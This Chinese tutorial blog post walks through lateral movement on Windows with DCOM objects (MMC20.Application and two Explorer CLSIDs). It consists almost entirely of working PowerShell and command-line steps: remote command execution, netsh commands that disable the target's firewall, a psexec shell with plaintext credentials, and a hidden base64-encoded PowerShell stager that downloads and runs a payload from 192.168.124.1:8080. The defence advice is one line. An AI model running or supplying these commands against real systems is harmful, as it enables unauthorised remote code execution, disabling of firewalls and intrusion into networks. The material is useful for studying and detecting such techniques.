利用DCOM实现远程命令执行

利用DCOM实现远程命令执行CATALOG1 前言 2 实现过程 2 1 通过 DCOM 在本机执行命令 2 2 通过 DCOM 控制远程主机执行命令 3 参考文章 1 前言实现命令执行的方式之前我写过文章来总结 前两天又发现了一个新方法 DCOM 于是有了这篇文章 2 实现过程 2 1 通过 DCOM 在本机执行命令实现条件 管理员权限的 powershell 查找 DCOM 组件 MMCApplicati 如下图 命令为 Get WmiObject NamespaceROO CIMV2 ClassWin32 DCOMApplic

1.前言

实现命令执行的方式之前我写过文章来总结,前两天又发现了一个新方法DCOM,于是有了这篇文章。

2.实现过程

2.1通过DCOM在本机执行命令

实现条件:

  1. 管理员权限的powershell
  2. 查找DCOM组件MMC Application Class如下图,命令为
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication |Where-Object{$_.Name -like "MM*"} 

在这里插入图片描述

命令:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1")) $com.Document.ActiveView.ExecuteShellCommand $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized") 

在这里插入图片描述

2.2通过DCOM控制远程主机执行命令

实现条件:

  1. 管理员权限的powershell
  2. 客户端关闭防火墙
  3. 服务端需要域管的administrator账户或者目标主机具有管理员权限的账户
  4. 双方主机都需有MMC Application Class这个DCOM组件。
    命令:

net use \\192.168.124.3 "123" /u:"test\administrator" netsh -r 192.168.124.3 -u TEST\administrator -p 123 advfirewall set currentprofile firewallpolicy allowinbound,allowoutbound #远程关闭防火墙不过一般会失败,默认不会开启远程管理防火墙的这个权限。 $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.124.3")) $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized") # 有可能弹不出计算器,但是可以将命令改为: $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c shutdown -r -t 1","Minimized") 发现远程主机会重启。 

如果上述命令执行失败,很有可能是防火墙开启造成的,这时候我们可以通过impacket来获取远程主机的shell然后再进行防火墙的配置。

psexec.exe test/lisi:123@192.168.124.3 netsh advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow netsh advfirewall set currentprofile state off netsh advfirewall set allprofiles state off netsh advfirewall set currentprofile settings remotemanagement enable 

第二种命令:

$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.124.3") $obj = [System.Activator]::CreateInstance($com) $item = $obj.item() $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0) #测试成功,不需要对方主机的凭据,只需要当前主机的管理员权限即可。 

第三种命令:

$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"192.168.124.3") $obj = [System.Activator]::CreateInstance($com) $obj.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0) #测试成功,不需要对方主机的凭据,只需要当前主机的管理员权限即可。 

2.3补充:

在192.168.124.2上执行命令,不需要执行net use命令:

 $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.124.3")) $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c powershell -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABjAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGMALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABjAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMgA0AC4AMQA6ADgAMAA4ADAALwBoAHgASAByAHMASABXAEYASABKADkALwBEAFEAMABKAHMAZABxAFIAUAAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMgA0AC4AMQA6ADgAMAA4ADAALwBoAHgASAByAHMASABXAEYASABKADkAJwApACkAOwA=","Minimized") 

如果在执行这些命令之前执行了net use命令,获得了一个有权限的IPC管道(例如使用域控的凭据连接目标主机),得到的结果也是一样的,也就是说net use命令存在与否并不影响结果。

3.参考文章

域渗透-利用DCOM在远程系统执行程序

4.防御方式

开启域防火墙

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/199806.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月20日 下午12:10
下一篇 2026年3月20日 下午12:10


相关推荐

  • Java安装教程

    Java安装教程今日份闲来无事,整理了一些Java的数据库安装教程,请君共阅:其实主要就分三部分:1:下载Java的安装包并安装Java2:电脑环境设置3:验证Java是否安装成功第一步:下载Java的安装包并安装Java:1.首先去官网现在JAVA安装包JAVA安装包下载地址:https://www.oracle.com/technetwork/java/javase/downloads/index.html(官网地址),打开链接后,如下图:2.点击下面椭圆圈起来的“Download”按钮。3:跳转到

    2022年7月9日
    20
  • 二分图前期基础之增广路

    二分图前期基础之增广路二分图前期基础之增广路刚开始学习的时候 总是受困于增广路径 不明白增广路径是如何应用以及其具体的含义是什么 感谢博客 https www cnblogs com logosG p logos html 为了充分表达敬意 放在了文首 QAQ 晕了几天总算是明白了 总算是明白 KM 算法的神奇之处了一 匈牙利算法匈牙利算法用于解决什么问题 匈牙利算法用于解决二分图的最大匹配问题 什么是二分图

    2025年7月14日
    4
  • rj45口的485线如何连接_rj45接口485怎么接

    rj45口的485线如何连接_rj45接口485怎么接我们常见的网线是586,有A、B标准,一般记住其中一个标准就可以了,另外一个标准只是1、3(发送),2、6(接收)的线序颠倒一下而已。关于586B标准,我们老师给了我们一个口诀:“橙蓝绿棕白在前,3、5对调”。具体的线序是586B:白橙、橙、白绿、蓝、白蓝、绿、白棕、棕586A:白绿、绿、白橙、蓝、白蓝、橙、白棕、棕针脚定义:RJ-45连接器包括一个插头和一个插孔(或插座)。插孔安装在机器上,而插头和连接导线(现在最常用的就是采用无屏蔽双绞线的5类线)相连。EIA/TIA制定的布线标准规定了

    2025年12月10日
    7
  • 十大经典思维面试题_JS面试题大全

    十大经典思维面试题_JS面试题大全年轻人你不讲武德,耗子尾汁~~~总结就是为了形成自己的js知识网,提升自己,加油!开始干1、介绍js的基本数据类型  答:Undefined、Null、Boolean、Number、String2、js有哪些内置对象? 答:数据封装类对象:Object、Array、Boolean、Number和String  其他对象:Function、Arguments、Math、Date、RegExp、Error  3、this对象的理解 答:this总是指向函数的直接调用者(而非间接调用者

    2022年8月26日
    8
  • 汇编语言王爽第四版实验4答案_王爽汇编语言实验11

    汇编语言王爽第四版实验4答案_王爽汇编语言实验11汇编语言王爽第四版课后检测点课后实验持续更新~~实验4[bx]和loop的使用1编程,向内存0:200~0:23f依次传送数据0~63(3fh)assumecs:codecodesegment movax,0 movds,ax;设置ds=0 movbx,200h;设置从200h开始 movcx,64;循环64次 moval,0;传送的数据 s: mov[bx],al incbx incal loops movax,4c00h

    2025年6月21日
    4
  • 复制文件到一个文件夹并进行排序copy_imgs_to_dir

    复制文件到一个文件夹并进行排序copy_imgs_to_dir

    2020年11月8日
    251

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号